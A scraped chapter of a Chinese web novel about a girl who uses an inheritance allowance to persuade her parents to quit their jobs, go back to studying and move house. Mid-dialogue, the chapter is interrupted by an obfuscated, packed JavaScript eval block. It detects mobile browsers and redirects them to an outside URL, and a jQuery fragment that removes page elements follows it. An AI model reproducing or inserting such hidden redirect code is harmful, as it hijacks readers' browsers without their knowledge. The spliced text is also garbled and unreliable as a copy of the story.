6.第6章
作品:《风水轮流转[年代]》 蒋兰又把饭热了一次,她心想,总该回来了吧,怎么还不回来呢。
单手撑着头,看着眼前热腾腾的菜,蒋兰心里生出了些许担心。
她倒不担心陈进国,这么大一个人了,还会丢了不成?
就是她的女儿,这还是第一次出远门吧。
她有时候恨不得自己是那随时捆着小鸡的鸡妈妈,既盼望她的小鸡长大又希望不要那么快长大。
“咔嚓”
蒋兰听见了门被打开的声音,她也不再继续坐下去,等她走过去时,正看见父女俩在换鞋。
“关先生呢?”
陈琦君指了指楼上,“他搬到楼上去了。”
“这……”
蒋兰记得她们家楼上的那户人家是一位退休老师,因为要跟儿子住,前不久就把房子租出去了。
她看过租客,不是关杰希。
要想突然叫人搬出去,总要付出更多钱的。
“真是一个有钱的年轻人啊。”她不由感慨道。
“谁说不是呢,”陈进国脱下外套挂起来,“我快饿死了,你吃没?”
“没吃呢,我想着等你俩回来一起吃,还以为关先生也要来,我做了不少菜呢。”
陈进国洗过手,拿起饭勺盛饭。
“你呀,饿了就吃,等我俩干嘛,那姓关的小子来不来你都不能饿着肚子,该吃就吃。”
“这不是怕人家来了吃剩饭不好嘛。”
蒋兰接过陈进国递过来的饭,放在陈琦君面前。
“快吃,看你这小脸白的,怕是都没睡好吧。”
“她哪会睡不好,回来的时候在人家车上睡得跟小猪一样香。”
陈琦君不高兴了,哼哼两声,“我要是小猪,你以为你就很好了嘛,小猪的爸爸还不是猪。”
“行行行,一窝猪,快吃吧,我都热好几遍菜了,这以后没个准信儿做饭可真够麻烦的。”
陈进国扒拉着饭,他也觉得十分麻烦,这煤气也是要钱的。
“那我们买个BB机吧。”
当陈琦君说完这句话后,发现陈进国和蒋兰都停下吃饭的动作同时看向她。
她们家的电器少得可怜,家里的黑白电视机还是攒了好久的钱才买的,更不要说要花上好几个月工资的寻呼机。
这个词就没在她家出现过。
而现在,她们家确实有可能拥有了,陈琦君每个月可是有三千元呐。
“这不好吧,这钱还是得存着,万一以后有个什么的,好歹你读书是没问题的。”
即便签过协议,陈进国抱有的希望也不是那么大,他只是想着要遵守规则,每个月能有三千元就好。
固然他有些为陈琦君的提议动心,可他们家之前没有BB机不也这样过来了,他和蒋兰的工作都不是很需要BB机,浪费那钱干嘛呢。
再说现在下岗的人那么多,那单位分配的房子说收回就收回,这个钱就是攒着,以后陈琦君长大以后用来买房子也是不错的。
现在做什么都不保险啊。
这样想着,陈进国又扒了一口饭。
“买BB机可以缓一缓,这钱我可以用来让你们读书。”
“读书!”
蒋兰目瞪口呆,她几乎不敢相信这话是从女儿嘴里说出来的。
“花那钱干嘛,我和你妈都这个年纪了,读什么书。你才是该好好读书,将来读个好大学,我和你妈就心满意足了。”
陈进国是羡慕学历高的人,但羡慕归羡慕,他这个年龄再读书,不是让人家看笑话吗。
“爸你要怕羞,那咱们就搬家,到一个人生地不熟的地方重新开始。你们不是说读书有多好吗,现在有机会你们都不读,看来这读书也不算个好事。”
蒋兰脸红了,是被气的。
“你这小孩,怎么歪理那么多!你多大,我们多大,就是读出来了又有什么用!”
说着,蒋兰埋怨地看向陈进国,女儿这脾气完全随了他,尽问些让人头痛的问题。
“那我明天要去外婆家!”
“怎么,你还想请假?”
一想到今天就耽误陈琦君一天学习的时间了,再耽误一天可不是什么好事。陈进国眉头紧皱,显然有点动怒了。
“明天星期六。”
陈进国哑口无言了。
“你去你外婆家干嘛?”
“我要跟她说说,她女儿有条件还不读书!外婆可没少说妈妈小时候聪明得很,就是家里的问题才没能继续读书,可惜得很。”
蒋兰脸上的红晕一点点消散,眼睛里闪动着什么。
“她真这么说?”
蒋兰现在还记得,她姐姐才是她妈妈最爱的小孩,她妈妈居然会夸她聪明?
“是啊,外婆就说很可惜,没能让你继续读书,这一点很对不住你。”
蒋兰知道她妈隔辈亲,加上姐姐一家都不在国内,她现在最疼爱的人就是陈琦君了。
一些话她妈不会跟她说,但会跟陈琦君说。
她都怀疑她妈存的钱在哪里都只有陈琦君知道。
陈琦君眼也不眨地接受了妈妈质疑的目光。
这话倒不是她外婆说的,但意思也差不多。
只是说的是:“那时候就她聪明,发脾气不吃饭,偷偷吃她姐给的东西,当我不知道啊。”
这不也是聪明嘛。
蒋兰有些扭捏,但对这个提议还是不同意。
“这太浪费钱了,而且我们都还要上班,不上班挣钱你饭……”这时候蒋兰又想起她女儿现在不受她们经济管控了,这话她说不出来了。
陈琦君知道,大人总喜欢在小孩没能力的时候,用经济威胁,她们家也是这样。
——不好好读书就不给你吃饭
——别人家有的你就要,那你去认人家当爸妈吧
——你不听话就把你扔出去
可能他们说出这种话的时候,没有几分真心,可在小孩耳朵里,总是刺耳的。
大人要面子,小孩子也是要面子的。
她们听着大人要求的“自尊自爱”,可在这种时候她们又怎么能做到“自尊”且“自爱”呢?
而现在,陈琦君明白,她有能力扭转这一切了。
这份来自于阿婆的给予,是对她的祝福。
“你们现在挣那点钱,我给你们出了不就行了?我可以给你们生活费读书,只要你们好好学习。”
陈琦君觉得,比起她的爸妈,她更适合做大人,你看,她只要他们好好读书,毕竟读书可是最轻松的事,他们也不用去上班了。
他们不是说,上班很辛苦吗,她已然为他们着想,让他们做点轻松的,这还不好吗?
聪明人都知道该怎么选吧。
“这不一样……”
陈进国喃喃道。
可这句话,就他每月三百元的工资来说,是没有说服力的。
“爸爸,这样的运气,一辈子有这一次已经是中了大奖。可人不能一辈子靠山吃山的,更何况,这可是我作为女儿的孝心啊,你们不是一直教导我,长大以后要好好回报父母吗,我现在不就在回报你们嘛,难道你们不需要我的孝心吗?那可真让人伤心
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16985776|193585||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
的。”
——你以后可别想一直靠着父母,人家国外的父母都是把孩子养到十八岁就不管了,我们到时候还供你读书,这可是我们作为父母的善心啊,以后你可得有孝心,要好好回报我们。
看着餐桌上,剪短了头发更显得有精神的女儿,那双黑色的眼睛毫无遮拦露出来,里面倒影着他的身影。
可在更深的地方,却是没有他的。
陈进国一时失语。
“爸,妈,你们不是说谁赚钱,谁就可以做这个家的主吗?现在我赚得比你们加起来都多,难道不该听我的话吗?”
“天下哪有这样的道理?你看有哪个家庭的女儿会像你一样要做父母的主!”
蒋兰说这话的时候其实是想到了她姐姐。
一样有主见,一样有爪牙。
她所厌恶的,又是她所喜欢的,只是此刻那股厌恶又占了上风。
“那哪家的女儿又会像我一样能继承这么多钱?妈妈,爸爸,我们需要一家人齐心协力啊!这遗产可还没有到我手上,你们如果以后能一个学法律,一个学经济,我们总不会被人骗的,这么多钱,万一有人特意骗我们,那不就糟糕了吗?”
“我才十三岁啊,五年以后也才十八岁,经历的事哪有你们多,我需要你们为我把关啊。”
这样的话让蒋兰和陈进国互视了一眼。
这比刚才那些话可好听多了,人就是喜欢听顺耳的话。
而且陈琦君说得很对,那可是有一亿元啊!如果他们没有一点本事,被人贪去了都不知道。
那可是属于他们的钱啊!
“琦君说得对,而且我们在琦君十八岁前不能让人知道有那么一笔钱存在,不然这钱就打水漂了!”
最后陈进国拍板,“辞!那些工资,再稳定难道我能一辈子存到一百万吗!”
这一刻,他有了魄气,上一次这么有魄气的时候,是所有人劝他不要因为蒋兰漂亮就娶家庭这么复杂的女人。
可他不愿意,他不止喜欢蒋兰的漂亮,他还爱她。
最后他们的日子不也过得和和美美吗?还有了漂亮的女儿,让这次奇迹降临在他们身上。
现在也一样,更何况他们还有了保底,就是每个月三千元,也够他们在国内任何地方都过得很好了。
“你是说,你们要搬家?”
关杰希轻轻敲打着桌子。
说实话,他是惊讶的,他有想过这家人每月拿到这样一笔“巨款”会怎么样,毕竟这对他们来说可不是一笔小钱。
而这钱只能陈琦君用也限制住了她的家人,可是,他也没想到,他们居然要搬家。
但这是合理的。
“使用每笔钱需要保存存单和理由,如果三千元用完以后再提交申请,申请通过后自然会再发钱的,但这些钱都会从本金出,你们想明白就好。”
说着,关杰希俯身看向陈琦君,这一次他没有戴眼镜,那双狭长又带着几分尖锐的眼睛直直对上了陈琦君,“是你要求搬家的吗?”
“当然。”
关杰希没有异议了。
在关门前一刻,陈琦君问道:“关先生你会跟我们一起搬家吗?”
“当然,我可是你的监管者啊。”
听起来是那样无奈,他似乎是不得已,才待在了一个被无数丝线缠住的房间里。
“好的。”
但陈琦君不关心,这是他选择的,就像现在,原来看起来清晰的命运在她的选择下变得模糊起来。
更何况,监管者?
陈琦君笑了,带着几分轻蔑。

